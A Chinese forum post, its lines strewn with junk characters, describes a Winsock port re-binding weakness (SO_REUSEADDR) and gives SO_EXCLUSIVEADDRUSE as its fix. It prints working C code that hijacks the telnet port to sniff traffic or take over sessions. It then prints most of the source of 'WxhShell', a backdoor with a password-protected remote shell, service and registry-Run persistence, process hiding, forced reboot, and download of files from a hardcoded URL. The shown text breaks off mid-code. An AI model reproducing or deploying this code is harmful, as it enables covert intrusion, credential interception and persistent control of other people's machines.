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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zc4hjg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @&ZTEznbyt  
aY:(0en]&  
  saddr.sin_family = AF_INET; f,L  
pn $50c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J#x91Jh  
'c$9[|x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); , ;d9uG2  
mTP.W#N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [d&Faa[`  
Fcr@Un'  
  这意味着什么?意味着可以进行如下的攻击: fd,~Yj$R?  
oM7^h3R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |(P;2q4>  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0KQ8; &a|  
rbtV,Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4P~<_]yf  
\~)573'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F{"%ey">  
kN$70N7I;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H0(zE *c~  
Fp]8f&l8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -.*\J|S@g  
M<p)@p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :9h8q"T  
Gj ^bz'2  
  #include |wb7`6g  
  #include | fI%L9  
  #include 7.Mh$?;i9  
  #include    /* O,T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;&!dD6N  
  int main() nDOIE)#  
  { oPbD9  
  WORD wVersionRequested; rOD KM-7+  
  DWORD ret; \fKE~61  
  WSADATA wsaData; `P5"5N\h  
  BOOL val; .~U9*5d  
  SOCKADDR_IN saddr; l46F3C|  
  SOCKADDR_IN scaddr; IB6]Wj  
  int err; ;?o C=c  
  SOCKET s; Km nr }Lp9  
  SOCKET sc; K?tk&0  
  int caddsize; /< :; ^B  
  HANDLE mt; "QF083$  
  DWORD tid;   ;dFe >`~  
  wVersionRequested = MAKEWORD( 2, 2 ); VxFy[rP  
  err = WSAStartup( wVersionRequested, &wsaData ); ``<1Lo@  
  if ( err != 0 ) { ^"l$p,P+  
  printf("error!WSAStartup failed!\n"); Qm.kXlsDI  
  return -1; 0 \#Q;Z2  
  } % *G)*n  
  saddr.sin_family = AF_INET; lewDR"0Kx  
   'AAY!{>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !:t9{z{Ixg  
\+u qP:Ty  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "P{&UwMmh  
  saddr.sin_port = htons(23); u .2sB6}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W$JA4O>b  
  { 'MUrszOO.e  
  printf("error!socket failed!\n"); qc6IH9i`  
  return -1; %yMzgk[u  
  } `-H:j:U{  
  val = TRUE; YzZF^q^I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .HBvs=i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (6BCFl:/Q<  
  { *e6|SZ &3  
  printf("error!setsockopt failed!\n"); ger<JSL%  
  return -1; 1pb;A;F,A  
  } 0uz"}v)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Rpk`fxAO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `"H?nf0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ds87#/Yfv  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RF)B4D-W  
  { QC4T=E]` j  
  ret=GetLastError(); [j? <9  
  printf("error!bind failed!\n"); gHx-m2N  
  return -1; x3s^u~C)(w  
  } Wn^^Q5U#  
  listen(s,2); L)}V [j#  
  while(1) %jxuH+L   
  { A,{D9-%  
  caddsize = sizeof(scaddr); JC"K{ V{  
  //接受连接请求 T]|O/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gn"&/M9E  
  if(sc!=INVALID_SOCKET) OQ7c| O  
  { AuTplO0_rE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <dL04F  
  if(mt==NULL) h,>L(=c$O  
  { ^I{]Um:  
  printf("Thread Creat Failed!\n"); k Ml<  
  break; $t$f1?  
  } =.E(p)fz  
  } [bv@qBL  
  CloseHandle(mt); 9@Sb! 9h  
  } %20-^&zZ  
  closesocket(s); n6 G&^Oj  
  WSACleanup(); =BS'oBn^6  
  return 0; ;n!X% S<z*  
  }   F?} *ovy  
  DWORD WINAPI ClientThread(LPVOID lpParam) udGGDH  
  { zt2-w/[Q  
  SOCKET ss = (SOCKET)lpParam; g&T Cff  
  SOCKET sc; z,|%? 1  
  unsigned char buf[4096]; qm=F6*@}  
  SOCKADDR_IN saddr; 0xUj#)  
  long num; @izi2ND  
  DWORD val; Q) BoWd  
  DWORD ret; 4p8jV*:@{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f*vk1dS:*3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZYe\"|x,s  
  saddr.sin_family = AF_INET; ]zU<=b@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Sqf.#}u<=  
  saddr.sin_port = htons(23); KN:dm!A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :EwA$`/  
  { %_MR.J+m2  
  printf("error!socket failed!\n"); yl<$yd0Zdu  
  return -1; [7 `Dgnmq  
  } }pnFJ  
  val = 100; xqWrW)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,?<h] !aQ  
  { m]d6@"Z.  
  ret = GetLastError(); ^Cn]+0G#C8  
  return -1; ff1B)e  
  } HoE.//b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R9/xC7l@  
  { K}`p_)(  
  ret = GetLastError(); K4/P(*r`  
  return -1; DG*o w^  
  } @Q\$dneY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zXPJ;^Xxa  
  { '&:x_WwVrO  
  printf("error!socket connect failed!\n"); 8+a<#? ;  
  closesocket(sc); {2k< k(,  
  closesocket(ss); 'eDgeWt/CQ  
  return -1; qj"syO  
  } [l%fL9  
  while(1) /B@% pq  
  {  +wW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _@pf1d$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kqigFcz!Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &@utAuI  
  num = recv(ss,buf,4096,0); X,EYa>RSy_  
  if(num>0) a/<pf\O  
  send(sc,buf,num,0); csX*XiDWm  
  else if(num==0) gQd=0"MV  
  break; d<GG (  
  num = recv(sc,buf,4096,0); q\t>D _lU  
  if(num>0) hf^`at  
  send(ss,buf,num,0); FR,#s^kF  
  else if(num==0) sx<+ *Trl  
  break; zg Y*|{4Sl  
  } 0rJ\e  
  closesocket(ss); Ya&\ly /i  
  closesocket(sc); <6b\i5j  
  return 0 ; V@n(v\F  
  } <fsn2[V:B%  
iC|6roO!jk  
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========================================================== y~c4:*L3  
>)J47j7{c  
下边附上一个代码,,WXhSHELL h}`&]2|]  
Pv %vx U  
========================================================== KT;C RO>  
2@m(XT (  
#include "stdafx.h" %{~mk[d3  
-?w v}o  
#include <stdio.h> %Di 7u- x  
#include <string.h> ds$\vSd  
#include <windows.h> :KV,:13`D  
#include <winsock2.h> 'x,GI\;?  
#include <winsvc.h> lmtQr5U  
#include <urlmon.h> iWN.3|r  
$:u7Dv}\  
#pragma comment (lib, "Ws2_32.lib") 3@TG.)N4  
#pragma comment (lib, "urlmon.lib") C*y6~AYN#  
r< ?o}Qq  
#define MAX_USER   100 // 最大客户端连接数 O{ %A&Ui  
#define BUF_SOCK   200 // sock buffer 0]eh>ab>  
#define KEY_BUFF   255 // 输入 buffer !OoaE* s  
me[J\MJ;w^  
#define REBOOT     0   // 重启 ?V5Pt s  
#define SHUTDOWN   1   // 关机 vi!r8k  
w] 5U  
#define DEF_PORT   5000 // 监听端口 fv j5[Q  
dy6F+V\DG  
#define REG_LEN     16   // 注册表键长度 MY?O/,6  
#define SVC_LEN     80   // NT服务名长度 i5E:FS^!I  
iVpA @p   
// 从dll定义API g?A5'o&Yu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sp`fh7d.(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iZ.&q 6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kf^-m/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |Y8Mk2,s  
1YIux,2\  
// wxhshell配置信息 LF9aw4:>Ou  
struct WSCFG { g3|Y$/J7P  
  int ws_port;         // 监听端口 APQQ:'>N4~  
  char ws_passstr[REG_LEN]; // 口令 wwK~H  
  int ws_autoins;       // 安装标记, 1=yes 0=no *`g-gk  
  char ws_regname[REG_LEN]; // 注册表键名 Z\*5:a]  
  char ws_svcname[REG_LEN]; // 服务名 LN~N Fjs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ??\*D9rCn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mdltzy=)L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w*6!?=jP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,p*ntj{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 59Tg"3xB<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =hugnX<9  
3<jAp#bE  
}; 1fO2)$Y  
fUp|3bBE  
// default Wxhshell configuration }/7.+yD  
struct WSCFG wscfg={DEF_PORT, CFkW@\]  
    "xuhuanlingzhe", D?\"  
    1, k67i`f=  
    "Wxhshell", XMeL^|D  
    "Wxhshell", /]k ,,&  
            "WxhShell Service", *2"bG1`  
    "Wrsky Windows CmdShell Service", &3 XFg Ho  
    "Please Input Your Password: ", ^T}}4I_Y  
  1, 8t T&BmT  
  "http://www.wrsky.com/wxhshell.exe", GLaZN4`  
  "Wxhshell.exe" c >u>Pi;Z  
    }; eHR&N.2  
<i:*p1#Bm  
// 消息定义模块 hyk|+z`B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H)j [eZP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _>jrlIfc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;9p#xW6  
char *msg_ws_ext="\n\rExit."; =q"w2b&  
char *msg_ws_end="\n\rQuit."; [$1: &!(!  
char *msg_ws_boot="\n\rReboot..."; {m_A1D/_  
char *msg_ws_poff="\n\rShutdown..."; RWh9&O:6'  
char *msg_ws_down="\n\rSave to "; J3lG"Ww  
iL7-4Lv#  
char *msg_ws_err="\n\rErr!"; F= _uNq  
char *msg_ws_ok="\n\rOK!"; Cz=A{< ^g  
|c 06ix;).  
char ExeFile[MAX_PATH]; <4l.s  
int nUser = 0; Qr|N)  
HANDLE handles[MAX_USER]; I8<Il ^  
int OsIsNt; Giy3eva2  
y"|K |QT  
SERVICE_STATUS       serviceStatus; t`<}UWAH+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C}(<PNT  
zqekkR]  
// 函数声明 ]ZR{D7.?  
int Install(void); P<cMP)+K  
int Uninstall(void); ,<0Rf  
int DownloadFile(char *sURL, SOCKET wsh); RI[7M (  
int Boot(int flag); }J+ ce  
void HideProc(void); %jbJ6c  
int GetOsVer(void); *2qh3  
int Wxhshell(SOCKET wsl); &jXca|wAR  
void TalkWithClient(void *cs); 629~Uc6]  
int CmdShell(SOCKET sock); 9atjK4+o  
int StartFromService(void);  Z;j/K  
int StartWxhshell(LPSTR lpCmdLine); ||{T5E-.F  
5YTb7M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *} *!+C3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QQ^Gd8nQ  
T@K7DkP@  
// 数据结构和表定义 x38SSzG:L  
SERVICE_TABLE_ENTRY DispatchTable[] = tsTR2+GZS  
{ P[Y{LKAbb  
{wscfg.ws_svcname, NTServiceMain}, $'A4RVVT  
{NULL, NULL} iX8h2l  
}; a' IX yj  
71k!k&Im  
// 自我安装 )CC?vV  
int Install(void) blRY7  
{ !p]T6_t]Q  
  char svExeFile[MAX_PATH]; %|:;Ti  
  HKEY key; ;=5@h!@R  
  strcpy(svExeFile,ExeFile); Qa,NGP.  
itqQ)\W  
// 如果是win9x系统,修改注册表设为自启动 90  
if(!OsIsNt) { 1KeJd&e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { egZyng pB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V;>9&'Z3  
  RegCloseKey(key); L Yh@ u1p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pchQ#GU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i_ |9<7a  
  RegCloseKey(key); ?o2;SY(-  
  return 0; uI%N?  
    } 4)3g!o ?  
  } &ui:DZAxj|  
} );Tx5Z}  
else { P1(8U%   
VqcBwJ!?p  
// 如果是NT以上系统,安装为系统服务 Gkdm7SV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :[y]p7;{f  
if (schSCManager!=0) Nj0-`j0E  
{ 52>[d3I3  
  SC_HANDLE schService = CreateService 4mEzcwo'  
  ( >X;xIyRL  
  schSCManager, 8q_1(& O  
  wscfg.ws_svcname, r5f^WZ$-  
  wscfg.ws_svcdisp, +IwdMJ8&8  
  SERVICE_ALL_ACCESS, Xtuhcdzu[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hnfvo*6d.e  
  SERVICE_AUTO_START, T6sr/<#<(  
  SERVICE_ERROR_NORMAL, kVV\*"9y  
  svExeFile, fC=fJZU7$  
  NULL, <T(s\N5B=  
  NULL, =}~NRmmF  
  NULL, I["F+kt^^  
  NULL, e(?:g@]-r  
  NULL 6?53q e  
  ); GLo\q:5A  
  if (schService!=0) 0L!er%GM  
  { 4fu'QZ(}  
  CloseServiceHandle(schService);  5Waw?1GL  
  CloseServiceHandle(schSCManager); Wr]O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4a\n4KO X  
  strcat(svExeFile,wscfg.ws_svcname); xCR; K]!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]XmQ]Yit  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); whV&qe;sw  
  RegCloseKey(key); gsW=3m&`  
  return 0; Z 6 tE{/  
    } ?RZq =5Um&  
  } k%{ l4  
  CloseServiceHandle(schSCManager); /6Y0q9  
} R ^HohB  
} }BA9Ka#%  
]b}B~jD  
return 1; CkRyzF  
} [?;`x&y~y  
TcR=GR*cJ  
// 自我卸载 =hJfL}&O3  
int Uninstall(void) +2- qlU  
{ 6kP7   
  HKEY key; &foD&  
MinbE13?U  
if(!OsIsNt) { IeO-O'^&`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Nw2;TkB[  
  RegDeleteValue(key,wscfg.ws_regname); 9 TqoLX  
  RegCloseKey(key); +#0~:&!9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u@AI&[Z  
  RegDeleteValue(key,wscfg.ws_regname); \BLp-B1s  
  RegCloseKey(key); >g>?Y G  
  return 0; f_oq1W)9  
  } 3}08RU7[!  
} F;pTXt}?5  
} yPSVwe|g  
else { 66/Z\H^d  
E^7C _JP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aPprMQ5  
if (schSCManager!=0) tJff+n>  
{ 'P+f|d[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zT$0xj8  
  if (schService!=0) _~juv&  
  { t?l0L1;  
  if(DeleteService(schService)!=0) { /l6r4aO2=  
  CloseServiceHandle(schService); I_"Kh BM  
  CloseServiceHandle(schSCManager); !TwH;#U w  
  return 0; x9Oo.[  
  } hAi`2GP.  
  CloseServiceHandle(schService); <<vT"2Q]  
  } 9jkaEn>m^  
  CloseServiceHandle(schSCManager); =sFLzAu8  
} (6g;FD:"6  
} i!KZg74V  
+ $Yld{i  
return 1; F<9S,  
} IVY{N/ 3|  
3q}fDM(@J  
// 从指定url下载文件 xPp\OuwK  
int DownloadFile(char *sURL, SOCKET wsh) ?yNg5z  
{ pVN) k  
  HRESULT hr; VC T~"T2R  
char seps[]= "/"; n,l{1 q  
char *token; g#}a?kTM@  
char *file; T*3>LY+bb  
char myURL[MAX_PATH]; ]Oh8LcE#BF  
char myFILE[MAX_PATH]; %G43g#pD  
P-Up v6J3  
strcpy(myURL,sURL); b~Q8&z2  
  token=strtok(myURL,seps); qZ=%r u  
  while(token!=NULL) lk(.zYaaN  
  { oY(q(W0ze  
    file=token; 31-:xUIX  
  token=strtok(NULL,seps); 9*&RvsrX  
  } ]/cVlpZ{f  
}.S4;#|hw  
GetCurrentDirectory(MAX_PATH,myFILE); Xg^9k00C  
strcat(myFILE, "\\"); Tm) (?y  
strcat(myFILE, file); kD?lMA__  
  send(wsh,myFILE,strlen(myFILE),0); a}p}G\b|  
send(wsh,"...",3,0); >Y>>lE! k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S9VD/  
  if(hr==S_OK) lO+6|oF0  
return 0; \2U FJ  
else _*1{fvv0{  
return 1; I[g;p8jr  
,z@"pI b  
} 3U\| E  
}]BH "  
// 系统电源模块 + r<d z  
int Boot(int flag) I}hY @  
{ uW{;@ 7N  
  HANDLE hToken; mSFh*FG  
  TOKEN_PRIVILEGES tkp; 9L+g;Js$4  
sgxD5xj}4  
  if(OsIsNt) { zQ>|`0&8   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a`t <R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E9]\ I> v  
    tkp.PrivilegeCount = 1; m]"13E0*x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tj3xK%K_r3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?ypX``3#s7  
if(flag==REBOOT) { nMT"Rp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }:zTz% _K  
  return 0; a?K3/0G  
} ZOIx+%/Vd#  
else {  O86[`,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y(92Th$  
  return 0; 81jVjf?`  
} .KeZZLH  
  } 1RM@~I$0  
  else { Smc=-M}  
if(flag==REBOOT) { c7R<5f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?P>3~3 B  
  return 0; JIH6!  
} O*dtVX  
else { @SX-=Nr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yb? L:,a(I  
  return 0; BSd\Sg4  
} e0 &x?U*/  
} Wm#F~<$  
D\CjR6DE  
return 1; w;=g$Bn  
} xk\n F0z  
N:% }KAc  
// win9x进程隐藏模块 Spm7kw  
void HideProc(void) 2zN"*Wkn  
{ 24b?6^8~k  
U5!~ @XjG>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P+2@,?9#  
  if ( hKernel != NULL ) Mq,2S  
  { 57~/QEdy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'OjsV$_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L,7+26XV"B  
    FreeLibrary(hKernel); o >Faq+@  
  } s"-gnW  
mLb>*xt$b@  
return; >Y 8\I  
} ]mZN18#  
Y k @/+PE  
// 获取操作系统版本 6t!PHA  
int GetOsVer(void) hg Pzx@  
{ glI4Jb_[  
  OSVERSIONINFO winfo; s1kG:h2|$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q>5 K:5  
  GetVersionEx(&winfo); NO'37d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q XLHQ_V  
  return 1; zNRR('B?  
  else HpGI\s  
  return 0; Zv|TvlyT"  
} Uw5AHq).  
=6H  
// 客户端句柄模块 'fS&WVR?  
int Wxhshell(SOCKET wsl) i8Xz'Sw07  
{ FhJtiw@  
  SOCKET wsh; bg/a5$t  
  struct sockaddr_in client; |SSe n#PYp  
  DWORD myID; !E.CpfaC  
t;/s^-}  
  while(nUser<MAX_USER) 3D^!U}E  
{ mnm 7{?#[  
  int nSize=sizeof(client); IDn$w^"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,C;%AS/  
  if(wsh==INVALID_SOCKET) return 1; W<tw],M-#  
;w(tXcXZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DU|>zO%  
if(handles[nUser]==0) >HL$=J_K?  
  closesocket(wsh); @ CNe)&U  
else 8m"(T-wb6{  
  nUser++; 1a@b-V2 d&  
  } [$e\?c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b2Oj 1dP1  
9?38/2kX4  
  return 0; MfG8=H2#|  
} >j6"\1E+Dz  
C.N#y`g  
// 关闭 socket LCMZw6p  
void CloseIt(SOCKET wsh) /{%p%Q[X  
{ A(}D76o_  
closesocket(wsh); IlfH  
nUser--; 9YEE.=]T  
ExitThread(0); F9Co m}  
} r$WBEt,B  
aNDpCpy  
// 客户端请求句柄 r(OH  
void TalkWithClient(void *cs) 35 d:r:  
{ ArVW2gL  
,*m{Q  
  SOCKET wsh=(SOCKET)cs; PUbfQg  
  char pwd[SVC_LEN]; U%V4@iz~\m  
  char cmd[KEY_BUFF]; FT[of(g^  
char chr[1]; Y{7)$'At  
int i,j; mPJ@hr%3  
s0\}Q=s[  
  while (nUser < MAX_USER) { =Ohro '   
a%*W( 4=Y  
if(wscfg.ws_passstr) { sa w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c@|f'V4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )zAATBb4.  
  //ZeroMemory(pwd,KEY_BUFF); &hu3A)%  
      i=0; moCr4*jDX,  
  while(i<SVC_LEN) { 6(8zt"E  
ZO8r8 [  
  // 设置超时 'BX U '  
  fd_set FdRead; WGA"e   
  struct timeval TimeOut; `dJ?j[P,p  
  FD_ZERO(&FdRead); S5/p3;O\c  
  FD_SET(wsh,&FdRead); qlm7eS"sy  
  TimeOut.tv_sec=8; o7kQ&w   
  TimeOut.tv_usec=0; &6&$vF65c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l&{+3aC:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @B9O*x+n:  
Pj ^O8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ->r udRQ  
  pwd=chr[0]; mt\pndTy7!  
  if(chr[0]==0xd || chr[0]==0xa) { OMm'm\+/  
  pwd=0; &xE+PfX  
  break; s8+{##"1 q  
  } EYR%u'&7'  
  i++; bltZQI|  
    } 9S/X,|i  
OLE@35"v]  
  // 如果是非法用户,关闭 socket ;T3}#Q*qC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (sp{.bU  
} ;7U"wI_~c  
4vyJ<b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fd/Ra]@\Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rja>N)MzBf  
'#u=w yp  
while(1) { Z> <,t~o}  
S.|%dz  
  ZeroMemory(cmd,KEY_BUFF); }WnoI2  
chXTFLC~  
      // 自动支持客户端 telnet标准   UHS{X~CS e  
  j=0; {)wl`mw3  
  while(j<KEY_BUFF) { ?o`fX wE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gr\vC  
  cmd[j]=chr[0]; RU+F~K<  
  if(chr[0]==0xa || chr[0]==0xd) { Sh(XFUJ  
  cmd[j]=0; {nH*Wu*^  
  break; .6A{   
  } suE#'0K  
  j++; g?{7DI`  
    } FF~VV<a  
qJK-HF:#  
  // 下载文件 N**" u"CX  
  if(strstr(cmd,"http://")) { j$Vtd &  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >K*TgG6!X  
  if(DownloadFile(cmd,wsh)) rnQ9uNAu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o?><(A|  
  else !m?W+ z~J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cv9-ZOxJ  
  } Xp~O?2:3l  
  else { +^3 *Y"6Z  
bYwe/sR  
    switch(cmd[0]) { _Kg"l5?B  
  no9=K4h`  
  // 帮助 %h}3}p#4  
  case '?': { 'Ooq.jaK;/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Vbcwv@  
    break; &24>9  
  } S#l)|c_~  
  // 安装 -~_;9[uV  
  case 'i': { $: qrh66  
    if(Install()) Oee>d<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZG)6{WS  
    else F32U;fp3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0pA>w8mh  
    break; A?H.EZ  
    } %:Y'+!bX  
  // 卸载 W<M\ b#  
  case 'r': { #Kt5+"+7  
    if(Uninstall()) v7mg8'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uZ+vYF^  
    else BV eIj }  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gPF5|% 3)  
    break; hEAP,)>F  
    } YLid2aF  
  // 显示 wxhshell 所在路径 -9yWf8;  
  case 'p': { PY[!H<tt  
    char svExeFile[MAX_PATH]; Vc&xXtm[v  
    strcpy(svExeFile,"\n\r"); tNYCyw{K  
      strcat(svExeFile,ExeFile); c1h?aP  
        send(wsh,svExeFile,strlen(svExeFile),0); Z(hRwIOF  
    break; I ka V g L  
    } ~i=5NUE  
  // 重启 X@Yl<9|i  
  case 'b': { lQ|i Ws  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \<x{U3q5  
    if(Boot(REBOOT)) ;c|G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <v$yXA  
    else { M][Zu[\*  
    closesocket(wsh); GL3olKnL  
    ExitThread(0); ..yLtqos  
    } 5 0<  
    break; !KLY*bt6  
    } A~#w gLGn  
  // 关机 -}P/<cu:  
  case 'd': { dgW/5g  
